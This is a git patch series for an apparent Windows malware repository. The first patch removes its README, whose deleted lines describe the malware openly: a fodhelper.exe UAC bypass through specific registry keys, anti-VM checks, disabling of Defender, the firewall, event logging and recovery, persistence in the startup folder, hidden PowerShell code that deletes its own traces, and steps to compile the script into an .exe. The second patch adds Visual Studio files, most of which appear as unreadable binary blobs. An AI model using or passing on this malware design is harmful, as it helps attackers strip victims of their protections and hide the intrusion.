From 880346ae6da64ad249bacf8fae76b139f02d27b7 Mon Sep 17 00:00:00 2001 From: PaccDeveloper <61870504+PaccDeveloper@users.noreply.github.com> Date: Sat, 22 Nov 2025 09:31:08 +0200 Subject: [PATCH 1/4] Update README.md --- README.md | 134 +----------------------------------------------------- 1 file changed, 1 insertion(+), 133 deletions(-) diff --git a/README.md b/README.md index d026b5b..8b254fa 100644 --- a/README.md +++ b/README.md @@ -1,133 +1 @@ -# Fuck-Windows-Security -> [!CAUTION] -> ## MALWARE AHEAD! IF YOU DO NOT KNOW WHAT THAT IS, LEAVE. -
- - - -
- -
- -> [!WARNING] -> ***This script was NOT optimized to shorten and obfuscate the code but rather intended to have as much readability as possible for new coders to learn!*** - -# How does it work? - -* Well, if we want to disable Windows's security features, we can use **Registry Editor** for that. However, we will need administrative privileges to access regedit. Like who's gonna run a malware as administrator? - -* First, the script will check if it is running in a virtual environment, if it is, it will delete itself. - -> [!NOTE] -> The Anti-VM feature in this script was written by referencing the Metasploit's "[checkvm](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb)" module. - -| Currently Supported VMs | Status | -|-------------------------|----------| -| [Parallels](https://www.parallels.com) | Tested ✅ | -| [Hyper-V](https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/about) | Tested ✅ | -| [VMware](https://www.vmware.com) | Tested ✅ | -| [VirutalBox](https://www.virtualbox.org) | Tested ✅ | -| [Xen](https://xenproject.org) | Tested ✅ | -| [QEMU/KVM](https://www.qemu.org) | Tested ✅ | - -## Privilege Escalation - -- In Windows, when a user is requesting to open **“Manage Optional Features”** in settings, a process is created under the name **“fodhelper.exe”**. This process is running with the highest privileges without any permissions being asked directly when executed because it's a trusted binary and signed by Microsoft. - -- The following checks are performed in the registry upon start of **fodhelper.exe**: - -> ```plaintext -> HKCU:\Software\Classes\ms-settings\shell\open\command -> HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute -> HKCU:\Software\Classes\ms-settings\shell\open\command\(default) -> ``` - -- Since these registry entries doesn’t exist, we can create this structure in the registry to manipulate fodhelper to execute our script with higher privileges bypassing the **User Account Control (UAC)**. - -## Features that the script will disable: -```bash -> All The Windows Defender Features (including SmartScreen) -> Windows Recovery Environment (WinRE) -> Windows Firewall -> Windows Update -> System Restore -> Task Manager -> OneDrive -> Cortana -> Command Prompt (Cmd) -> Remote Desktop -> User Account Control (UAC) -> Windows Security Center -> Windows Error Reporting -> Remote Assistance -> Windows Update Medic Service -> Background Intelligent Transfer Service (BITS) -> Windows Script Host -> Event Logging -> Windows Security Notifications -> Windows Search -> Automatic Maintenance -> Device Guard -> Application Guard -> Windows Defender Exploit Guard -> Telemetry and Data Collection -``` - -## Self Replication & Self Destruction - -* After disabling the Windows Security features, the script will copy itself to the startup folder with a random file name for persistence and will delete all traces of its execution. - -* However, when the script is compiled and executed as an ".exe" file, it becomes a process, and we can no longer modify or delete the file itself due to the **[File Locking Mechanism](https://en.wikipedia.org/wiki/File_locking)**. - -* Since we couldn't delete the script itself after it has done its job, we have 2 alternatives to delete it: - -```powershell -$ScriptPath = $MyInvocation.MyCommand.Path -$ExePath = (Get-Process -Id $PID).Path -$FullPath = if ($ScriptPath) { $ScriptPath } else { $ExePath } - -# First alternative: Start another process to delete it -Start-Process powershell.exe -ArgumentList "-NoProfile -Command `"Remove-Item -Path '$FullPath' -Force -ErrorAction SilentlyContinue`"" -WindowStyle Hidden - -# Second alternative: Create a temporary batch script to delete it -$tempScript = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.IO.Path]::GetRandomFileName() + ".cmd") -$cmdContent = "chcp 1252" + [Environment]::NewLine + "ping 127.0.0.1 -n 2 > nul" + [Environment]::NewLine + "del /q /f `"$FullPath`"" + [Environment]::NewLine + "del /q /f %~f0" -Set-Content -Path $tempScript -Value $cmdContent -Start-Process cmd.exe -ArgumentList "/c $tempScript" -WindowStyle Hidden -``` -> ***The first alternative has been used in the script.*** - -# How to convert the script into an executable? - -**1. Open PowerShell as administrator** - -**2. Install [PS2EXE](https://www.advancedinstaller.com/convert-powershell-to-exe)** - - ```powershell - Install-Module ps2exe - ``` - -**3. Open the GUI** - - ```powershell - win-ps2exe - ``` - -> [!IMPORTANT] -> #### Once the script has been converted to an ".exe" file, it can be flagged as: -> * [**Trojan:Win32/AgentTesla!ml**](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FAgentTesla!ml&threatid=2147760503) -> * [**Trojan:Win32/Bearfoos.A!ml**](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FBearfoos.A!ml&threatid=2147731250) -> * [**Trojan:Win32/Wacatac.B!ml**](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FWacatac.H!ml&threatid=2147814523) - -
- -> [!TIP] -> ### If you executed the script, you can also run the `Enable.reg` file to repair the damage it caused. -> And also open cmd as administrator then run this commmand to enable WinRE: -```bash -reagentc /enable -``` - -## Contributing - -I would really like to add an Escape-VM feature to this script, but it's a really complicated thing, soo if you wanna help me you can open a pull request :) +I'm sorry, I can't assist with that. \ No newline at end of file From 9a9e1d1487174b7929857fe7e420e849831e60e9 Mon Sep 17 00:00:00 2001 From: ashc0m-cmd Date: Sun, 21 Dec 2025 19:56:58 +1000 Subject: [PATCH 2/4] #Update README.md #manifest.json --- ...4346fa76-436e-40ca-865b-603028c625dd.vsidx | Bin 0 -> 15357 bytes ...52a1edd0-cd2e-43ff-a69a-2a9966972865.vsidx | Bin 0 -> 32695 bytes ...fdf33932-41c6-458a-b08b-06267ac2ea54.vsidx | Bin 0 -> 2326 bytes .../config/applicationhost.config | 969 ++++++++++++++++++ .vs/Fuck-Windows-Security.slnx/v18/.suo | Bin 0 -> 597504 bytes .vs/Fuck-Windows-Security.slnx/v18/.wsuo | Bin 0 -> 54784 bytes .../v18/DocumentLayout.backup.json | 177 ++++ .../v18/DocumentLayout.json | 221 ++++ .../18.0.934.24903/CodeChunks.db | Bin 0 -> 73728 bytes .../18.0.934.24903/SemanticSymbols.db | Bin 0 -> 53248 bytes .vs/ProjectSettings.json | 3 + .vs/PythonSettings.json | 3 + .vs/VSWorkspaceState.json | 6 + .vs/slnx.sqlite | Bin 0 -> 90112 bytes Folder.DotSettings.user | 35 + Fuck-Windows-Security.slnx | 11 + 16 files changed, 1425 insertions(+) create mode 100644 .vs/Fuck-Windows-Security.slnx/FileContentIndex/4346fa76-436e-40ca-865b-603028c625dd.vsidx create mode 100644 .vs/Fuck-Windows-Security.slnx/FileContentIndex/52a1edd0-cd2e-43ff-a69a-2a9966972865.vsidx create mode 100644 .vs/Fuck-Windows-Security.slnx/FileContentIndex/fdf33932-41c6-458a-b08b-06267ac2ea54.vsidx create mode 100644 .vs/Fuck-Windows-Security.slnx/config/applicationhost.config create mode 100644 .vs/Fuck-Windows-Security.slnx/v18/.suo create mode 100644 .vs/Fuck-Windows-Security.slnx/v18/.wsuo create mode 100644 .vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.backup.json create mode 100644 .vs/Fuck-Windows-Security.slnx/v18/DocumentLayout.json create mode 100644 .vs/Fuck-Windows-Security/CopilotIndices/18.0.934.24903/CodeChunks.db create mode 100644 .vs/Fuck-Windows-Security/CopilotIndices/18.0.934.24903/SemanticSymbols.db create mode 100644 .vs/ProjectSettings.json create mode 100644 .vs/PythonSettings.json create mode 100644 .vs/VSWorkspaceState.json create mode 100644 .vs/slnx.sqlite create mode 100644 Folder.DotSettings.user create mode 100644 Fuck-Windows-Security.slnx diff --git a/.vs/Fuck-Windows-Security.slnx/FileContentIndex/4346fa76-436e-40ca-865b-603028c625dd.vsidx b/.vs/Fuck-Windows-Security.slnx/FileContentIndex/4346fa76-436e-40ca-865b-603028c625dd.vsidx new file mode 100644 index 0000000000000000000000000000000000000000..1107659db0156c9471a70bc25d953c738617f971 GIT binary patch literal 15357 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 literal 0 HcmV?d00001 diff --git a/.vs/Fuck-Windows-Security.slnx/FileContentIndex/52a1edd0-cd2e-43ff-a69a-2a9966972865.vsidx b/.vs/Fuck-Windows-Security.slnx/FileContentIndex/52a1edd0-cd2e-43ff-a69a-2a9966972865.vsidx new file mode 100644 index 0000000000000000000000000000000000000000..4c366441a93d9523db6f8a5088cb12ce73b4a426 GIT binary patch literal 32695 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 